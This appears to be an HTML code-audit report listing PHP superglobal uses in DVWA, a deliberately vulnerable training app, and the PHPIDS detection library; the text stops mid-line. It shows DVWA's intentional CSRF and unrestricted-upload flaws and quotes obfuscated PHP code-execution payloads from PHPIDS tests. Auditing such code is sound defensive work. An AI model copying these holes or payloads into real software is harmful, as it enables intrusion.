class='file_name'>./external/phpids/0.6/docs/examples/example.php</span>:<span class='line_number'>42</span> <span class='match_count'>(4/6)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>39- * with your variables_order settings 40- */ 41- $request = array( 42: 'REQUEST' => <span class='match_highlight'>$_REQUEST</span>, 43- 'GET' => $_GET, 44- 'POST' => $_POST, 45- 'COOKIE' => $_COOKIE</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/examples/cakephp/ids.php</span>:<span class='line_number'>118</span> <span class='match_count'>(5/6)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>115- vendor('phpids/IDS/Init'); 116- 117- #add request url and user agent 118: <span class='match_highlight'>$_REQUEST</span>['IDS_request_uri'] = $_SERVER['REQUEST_URI']; 119- if (isset($_SERVER['HTTP_USER_AGENT'])) { 120: <span class='match_highlight'>$_REQUEST</span>['IDS_user_agent'] = $_SERVER['HTTP_USER_AGENT']; 121- } 122- 123- #init the PHPIDS and pass the REQUEST array 124- $this->init = IDS_Init::init(); 125: $ids = new IDS_Monitor($this->init, <span class='match_highlight'>$_REQUEST</span>); 126- $result = $ids->run(); 127- 128- // Re-set include path</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPhpIds.inc.php</span>:<span class='line_number'>57</span> <span class='match_count'>(6/6)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>54-function dvwaPhpIdsTrap() { 55- try { 56- $request = array( 57: 'REQUEST' => <span class='match_highlight'>$_REQUEST</span>, 58- 'GET' => $_GET, 59- 'POST' => $_POST, 60- 'COOKIE' => $_COOKIE</code></pre> </div> </div> </div> </div> <div class='signature_76e33b87e40cceeb009eedd6a2a23937 signature_group_globals signature_group'> <a name='s-76e33b87e40cceeb009eedd6a2a23937'></a> <h3> <code>$_SESSION</code> <span class='signature_count'>(4)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","76e33b87e40cceeb009eedd6a2a23937")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/CachingTest.php</span>:<span class='line_number'>88</span> <span class='match_count'>(1/4)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>86- $cache = IDS_Caching::factory($this->init, 'storage'); 87- $cache = $cache->setCache(array(1,2,3,4)); 88: <span class='match_highlight'>$_SESSION</span>['PHPIDS']['storage'] = null; 89- $this->assertFalse($cache->getCache()); 90- } 91-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Session.php</span>:<span class='line_number'>118</span> <span class='match_count'>(2/4)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>115- public function setCache(array $data) 116- { 117- 118: <span class='match_highlight'>$_SESSION</span>['PHPIDS'][$this->type] = $data; 119- return $this; 120- } 121-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Session.php</span>:<span class='line_number'>132</span> <span class='match_count'>(3/4)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>129- public function getCache() 130- { 131- 132: if ($this->type && <span class='match_highlight'>$_SESSION</span>['PHPIDS'][$this->type]) { 133: return <span class='match_highlight'>$_SESSION</span>['PHPIDS'][$this->type]; 134- } 135- 136- return false;</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPage.inc.php</span>:<span class='line_number'>53</span> <span class='match_count'>(4/4)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>50- 51-function &dvwaSessionGrab() { 52- 53: if( !isset( <span class='match_highlight'>$_SESSION</span>[ 'dvwa' ] ) ) { 54- 55: <span class='match_highlight'>$_SESSION</span>[ 'dvwa' ] = array(); 56- 57- } 58- 59: return <span class='match_highlight'>$_SESSION</span>[ 'dvwa' ]; 60-} 61- 62-</code></pre> </div> </div> </div> </div> <div class='signature_74cf5004d8aceafd2531cc620a36c278 signature_group_globals signature_group'> <a name='s-74cf5004d8aceafd2531cc620a36c278'></a> <h3> <code>$_SERVER</code> <span class='signature_count'>(18)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","74cf5004d8aceafd2531cc620a36c278")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/csrf/source/medium.php</span>:<span class='line_number'>6</span> <span class='match_count'>(1/18)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>4- 5- // Checks the http referer header 6: if ( eregi ( "127.0.0.1", <span class='match_highlight'>$_SERVER</span>['HTTP_REFERER'] ) ){ 7- 8- // Turn requests into variables 9- $pass_new = $_GET['password_new'];</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/examples/cakephp/ids.php</span>:<span class='line_number'>118</span> <span class='match_count'>(2/18)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>115- vendor('phpids/IDS/Init'); 116- 117- #add request url and user agent 118: $_REQUEST['IDS_request_uri'] = <span class='match_highlight'>$_SERVER</span>['REQUEST_URI']; 119: if (isset(<span class='match_highlight'>$_SERVER</span>['HTTP_USER_AGENT'])) { 120: $_REQUEST['IDS_user_agent'] = <span class='match_highlight'>$_SERVER</span>['HTTP_USER_AGENT']; 121- } 122- 123- #init the PHPIDS and pass the REQUEST array</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/examples/cakephp/ids.php</span>:<span class='line_number'>194</span> <span class='match_count'>(3/18)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>191- $this->controller->Session->read('User.id') : 192- 0; 193- 194: $ip = (<span class='match_highlight'>$_SERVER</span>['SERVER_ADDR'] != '127.0.0.1') ? 195: <span class='match_highlight'>$_SERVER</span>['SERVER_ADDR'] : 196: (isset(<span class='match_highlight'>$_SERVER</span>['HTTP_X_FORWARDED_FOR']) ? 197: <span class='match_highlight'>$_SERVER</span>['HTTP_X_FORWARDED_FOR'] : 198- '127.0.0.1'); 199- 200- foreach ($result as $event) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/examples/cakephp/ids.php</span>:<span class='line_number'>205</span> <span class='match_count'>(4/18)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>202- 'Intrusion' => array( 203- 'name' => $event->getName(), 204- 'value' => stripslashes($event->getValue()), 205: 'page' => <span class='match_highlight'>$_SERVER</span>['REQUEST_URI'], 206- 'userid' => $user, 207- 'session' => session_id() ? session_id() : '0', 208- 'ip' => $ip,</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>1025</span> <span class='match_count'>(5/18)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1022- $exploits[] = '" ; // 1023- if (!0) $_a ="". str_rot13(\'cevags\'); // 1024- $_b = HTTP_USER_AGENT; // 1025: $_c="". <span class='match_highlight'>$_SERVER</span>[$_b]; // 1026- $_a( `$_c` );//'; 1027- $exploits[] = '"; // 1028- $_c = "" . $_a($b);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>1035</span> <span class='match_count'>(6/18)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1032- if (!0) $_b = parse_str ; // 1033- $_c = "" . strrev("ftnirp"); 1034- if (!0) $_d = QUERY_STRING; // 1035: $_e= "" . <span class='match_highlight'>$_SERVER</span>[$_d]; 1036- $_b($_e); // 1037- $_f = "" . $_a($b); 1038- $_c(`$_f`);//';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Composite.php</span>:<span class='line_number'>72</span> <span class='match_count'>(7/18)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>69- public function execute(IDS_Report $data) 70- { 71- // make sure request uri is set right on IIS 72: if (!isset(<span class='match_highlight'>$_SERVER</span>['REQUEST_URI'])) { 73: <span class='match_highlight'>$_SERVER</span>['REQUEST_URI'] = substr(<span class='match_highlight'>$_SERVER</span>['PHP_SELF'], 1); 74: if (isset(<span class='match_highlight'>$_SERVER</span>['QUERY_STRING']) && <span class='match_highlight'>$_SERVER</span>['QUERY_STRING']) { 75: <span class='match_highlight'>$_SERVER</span>['REQUEST_URI'] .= '?' . <span class='match_highlight'>$_SERVER</span>['QUERY_STRING']; 76- } 77- } 78- 79- // make sure server address is set right on IIS 80: if (isset(<span class='match_highlight'>$_SERVER</span>['LOCAL_ADDR'])) { 81: <span class='match_highlight'>$_SERVER</span>['SERVER_ADDR'] = <span class='match_highlight'>$_SERVER</span>['LOCAL_ADDR']; 82- } 83- 84- foreach ($this->loggers as $logger) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/File.php</span>:<span class='line_number'>90</span> <span class='match_count'>(8/18)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>87- { 88- 89- // determine correct IP address 90: if (<span class='match_highlight'>$_SERVER</span>['REMOTE_ADDR'] != '127.0.0.1') { 91: $this->ip = <span class='match_highlight'>$_SERVER</span>['REMOTE_ADDR']; 92: } elseif (isset(<span class='match_highlight'>$_SERVER</span>['HTTP_X_FORWARDED_FOR'])) { 93: $this->ip = <span class='match_highlight'>$_SERVER</span>['HTTP_X_FORWARDED_FOR']; 94- } 95- 96- $this->logfile = $logfile;</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/File.php</span>:<span class='line_number'>163</span> <span class='match_count'>(9/18)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>160- $data->getImpact(), 161- join(' ', $data->getTags()), 162- trim($attackedParameters), 163: urlencode(<span class='match_highlight'>$_SERVER</span>['REQUEST_URI']), 164: <span class='match_highlight'>$_SERVER</span>['SERVER_ADDR']); 165- 166- return $dataString; 167- }</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Email.php</span>:<span class='line_number'>167</span> <span class='match_count'>(10/18)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>164- } 165- 166- // determine correct IP address and concat them if necessary 167: $this->ip = <span class='match_highlight'>$_SERVER</span>['REMOTE_ADDR'] . 168: (isset(<span class='match_highlight'>$_SERVER</span>['HTTP_X_FORWARDED_FOR']) ? 169: ' (' . <span class='match_highlight'>$_SERVER</span>['HTTP_X_FORWARDED_FOR'] . ')' : ''); 170- } 171- 172- /**</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Email.php</span>:<span class='line_number'>237</span> <span class='match_count'>(11/18)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>234- * end deleting garbage files 235- */ 236- $remoteAddr = $this->ip; 237: $userAgent = <span class='match_highlight'>$_SERVER</span>['HTTP_USER_AGENT']; 238- $filename = $this->file_prefix . md5($remoteAddr.$userAgent) . '.tmp'; 239- $file = $dir . DIRECTORY_SEPARATOR . $filename; 240-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Email.php</span>:<span class='line_number'>297</span> <span class='match_count'>(12/18)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>294- $data->getImpact(), 295- join(' ', $data->getTags()), 296- trim($attackedParameters), 297: urlencode(<span class='match_highlight'>$_SERVER</span>['REQUEST_URI']), 298: <span class='match_highlight'>$_SERVER</span>['SERVER_ADDR']); 299- } 300- 301- /**</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Database.php</span>:<span class='line_number'>163</span> <span class='match_count'>(13/18)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>160- } 161- 162- // determine correct IP address 163: if (<span class='match_highlight'>$_SERVER</span>['REMOTE_ADDR'] != '127.0.0.1') { 164: $this->ip = <span class='match_highlight'>$_SERVER</span>['REMOTE_ADDR']; 165: } elseif (isset(<span class='match_highlight'>$_SERVER</span>['HTTP_X_FORWARDED_FOR'])) { 166: $this->ip = <span class='match_highlight'>$_SERVER</span>['HTTP_X_FORWARDED_FOR']; 167- } 168- 169- try {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Database.php</span>:<span class='line_number'>248</span> <span class='match_count'>(14/18)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>245- */ 246- public function execute(IDS_Report $data) 247- { 248: if (!isset(<span class='match_highlight'>$_SERVER</span>['REQUEST_URI'])) { 249: <span class='match_highlight'>$_SERVER</span>['REQUEST_URI'] = substr(<span class='match_highlight'>$_SERVER</span>['PHP_SELF'], 1); 250: if (isset(<span class='match_highlight'>$_SERVER</span>['QUERY_STRING']) && <span class='match_highlight'>$_SERVER</span>['QUERY_STRING']) { 251: <span class='match_highlight'>$_SERVER</span>['REQUEST_URI'] .= '?' . <span class='match_highlight'>$_SERVER</span>['QUERY_STRING']; 252- } 253- } 254- 255- foreach ($data as $event) { 256: $page = isset(<span class='match_highlight'>$_SERVER</span>['REQUEST_URI']) ? <span class='match_highlight'>$_SERVER</span>['REQUEST_URI'] : ''; 257- $ip = $this->ip; 258- 259- $this->statement->bindParam('name', $event->getName());</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Database.php</span>:<span class='line_number'>264</span> <span class='match_count'>(15/18)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>261- $this->statement->bindParam('page', $page); 262- $this->statement->bindParam('ip', $ip); 263- $this->statement->bindParam('impact', $data->getImpact()); 264: $this->statement->bindParam('origin', <span class='match_highlight'>$_SERVER</span>['SERVER_ADDR']); 265- 266- if (!$this->statement->execute()) { 267-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPage.inc.php</span>:<span class='line_number'>139</span> <span class='match_count'>(16/18)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>136- 137-function dvwaPageReload() { 138- 139: dvwaRedirect( <span class='match_highlight'>$_SERVER</span>[ 'PHP_SELF' ] ); 140- 141-} 142-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/PGSQL.php</span>:<span class='line_number'>56</span> <span class='match_count'>(17/18)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>53-dvwaMessagePush( "'users' table was created." ); 54- 55-// Get the base directory for the avatar media... 56:$baseUrl = 'http://'.<span class='match_highlight'>$_SERVER</span>[ 'SERVER_NAME' ].<span class='match_highlight'>$_SERVER</span>[ 'PHP_SELF' ]; 57-$stripPos = strpos( $baseUrl, 'dvwa/setup.php' ); 58-$baseUrl = substr( $baseUrl, 0, $stripPos ).'dvwa/hackable/users/'; 59-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/MySQL.php</span>:<span class='line_number'>47</span> <span class='match_count'>(18/18)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>44-// Insert some data into users 45- 46-// Get the base directory for the avatar media... 47:$baseUrl = 'http://'.<span class='match_highlight'>$_SERVER</span>[ 'SERVER_NAME' ].<span class='match_highlight'>$_SERVER</span>[ 'PHP_SELF' ]; 48-$stripPos = strpos( $baseUrl, 'dvwa/setup.php' ); 49-$baseUrl = substr( $baseUrl, 0, $stripPos ).'dvwa/hackable/users/'; 50-</code></pre> </div> </div> </div> </div> <div class='signature_1a9740268f2ff86d08b218254a845455 signature_group_globals signature_group'> <a name='s-1a9740268f2ff86d08b218254a845455'></a> <h3> <code>$_COOKIE</code> <span class='signature_count'>(13)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","1a9740268f2ff86d08b218254a845455")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/csrf/index.php</span>:<span class='line_number'>15</span> <span class='match_count'>(1/13)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>13- 14-$vulnerabilityFile = ''; 15:switch( <span class='match_highlight'>$_COOKIE</span>[ 'security' ] ) { 16- case 'low': 17- $vulnerabilityFile = 'low.php'; 18- break;</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/fi/index.php</span>:<span class='line_number'>15</span> <span class='match_count'>(2/13)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>12-dvwaDatabaseConnect(); 13- 14-$vulnerabilityFile = ''; 15:switch( <span class='match_highlight'>$_COOKIE</span>['security'] ) { 16- case 'low': 17- $vulnerabilityFile = 'low.php'; 18- break;</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/sqli_blind/index.php</span>:<span class='line_number'>15</span> <span class='match_count'>(3/13)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>12-dvwaDatabaseConnect(); 13- 14-$vulnerabilityFile = ''; 15:switch( <span class='match_highlight'>$_COOKIE</span>[ 'security' ] ) { 16- case 'low': 17- $vulnerabilityFile = 'low.php'; 18- break;</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/brute/index.php</span>:<span class='line_number'>15</span> <span class='match_count'>(4/13)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>12-dvwaDatabaseConnect(); 13- 14-$vulnerabilityFile = ''; 15:switch( <span class='match_highlight'>$_COOKIE</span>[ 'security' ] ) { 16- case 'low': 17- $vulnerabilityFile = 'low.php'; 18- break;</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/exec/index.php</span>:<span class='line_number'>15</span> <span class='match_count'>(5/13)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>12-dvwaDatabaseConnect(); 13- 14-$vulnerabilityFile = ''; 15:switch( <span class='match_highlight'>$_COOKIE</span>[ 'security' ] ) { 16- case 'low': 17- $vulnerabilityFile = 'low.php'; 18- break;</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/upload/index.php</span>:<span class='line_number'>15</span> <span class='match_count'>(6/13)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>12-dvwaDatabaseConnect(); 13- 14-$vulnerabilityFile = ''; 15:switch( <span class='match_highlight'>$_COOKIE</span>[ 'security' ] ) { 16- case 'low': 17- $vulnerabilityFile = 'low.php'; 18- break;</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/sqli/index.php</span>:<span class='line_number'>15</span> <span class='match_count'>(7/13)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>12-dvwaDatabaseConnect(); 13- 14-$vulnerabilityFile = ''; 15:switch( <span class='match_highlight'>$_COOKIE</span>[ 'security' ] ) { 16- case 'low': 17- $vulnerabilityFile = 'low.php'; 18- break;</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/xss_s/index.php</span>:<span class='line_number'>15</span> <span class='match_count'>(8/13)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>12-dvwaDatabaseConnect(); 13- 14-$vulnerabilityFile = ''; 15:switch( <span class='match_highlight'>$_COOKIE</span>[ 'security' ] ) { 16- case 'low': 17- $vulnerabilityFile = 'low.php'; 18- break;</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/xss_r/index.php</span>:<span class='line_number'>15</span> <span class='match_count'>(9/13)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>12-dvwaDatabaseConnect(); 13- 14-$vulnerabilityFile = ''; 15:switch( <span class='match_highlight'>$_COOKIE</span>[ 'security' ] ) { 16- case 'low': 17- $vulnerabilityFile = 'low.php'; 18- break;</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/examples/example.php</span>:<span class='line_number'>45</span> <span class='match_count'>(10/13)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>42- 'REQUEST' => $_REQUEST, 43- 'GET' => $_GET, 44- 'POST' => $_POST, 45: 'COOKIE' => <span class='match_highlight'>$_COOKIE</span> 46- ); 47- 48- $init = IDS_Init::init(dirname(__FILE__) . '/../../lib/IDS/Config/Config.ini');</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPage.inc.php</span>:<span class='line_number'>28</span> <span class='match_count'>(11/13)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>25- 26- 27-// Set security cookie to high if no cookie exists 28:if (!isset(<span class='match_highlight'>$_COOKIE</span>['security'])){ 29- 30- setcookie( 'security', 'high' ); 31-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPage.inc.php</span>:<span class='line_number'>170</span> <span class='match_count'>(12/13)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>167- 168-function dvwaSecurityLevelGet() { 169- 170: return isset( <span class='match_highlight'>$_COOKIE</span>[ 'security' ] ) ? <span class='match_highlight'>$_COOKIE</span>[ 'security' ] : 'high'; 171- 172-} 173-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPhpIds.inc.php</span>:<span class='line_number'>60</span> <span class='match_count'>(13/13)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>57- 'REQUEST' => $_REQUEST, 58- 'GET' => $_GET, 59- 'POST' => $_POST, 60: 'COOKIE' => <span class='match_highlight'>$_COOKIE</span> 61- ); 62- 63- $init = IDS_Init::init( DVWA_WEB_PAGE_TO_PHPIDS.'lib/IDS/Config/Config.ini' );</code></pre> </div> </div> </div> </div> <div class='signature_f7954bf9e76927eb5734ade2c3a235d5 signature_group_globals signature_group'> <a name='s-f7954bf9e76927eb5734ade2c3a235d5'></a> <h3> <code>$_FILES</code> <span class='signature_count'>(3)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","f7954bf9e76927eb5734ade2c3a235d5")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/upload/source/low.php</span>:<span class='line_number'>5</span> <span class='match_count'>(1/3)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>3- 4- $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/"; 5: $target_path = $target_path . basename( <span class='match_highlight'>$_FILES</span>['uploaded']['name']); 6- 7: if(!move_uploaded_file(<span class='match_highlight'>$_FILES</span>['uploaded']['tmp_name'], $target_path)) { 8- 9- $html .= '<pre>'; 10- $html .= 'Your image was not uploaded.';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/upload/source/high.php</span>:<span class='line_number'>5</span> <span class='match_count'>(2/3)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-if (isset($_POST['Upload'])) { 3- 4- $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/"; 5: $target_path = $target_path . basename(<span class='match_highlight'>$_FILES</span>['uploaded']['name']); 6: $uploaded_name = <span class='match_highlight'>$_FILES</span>['uploaded']['name']; 7- $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, 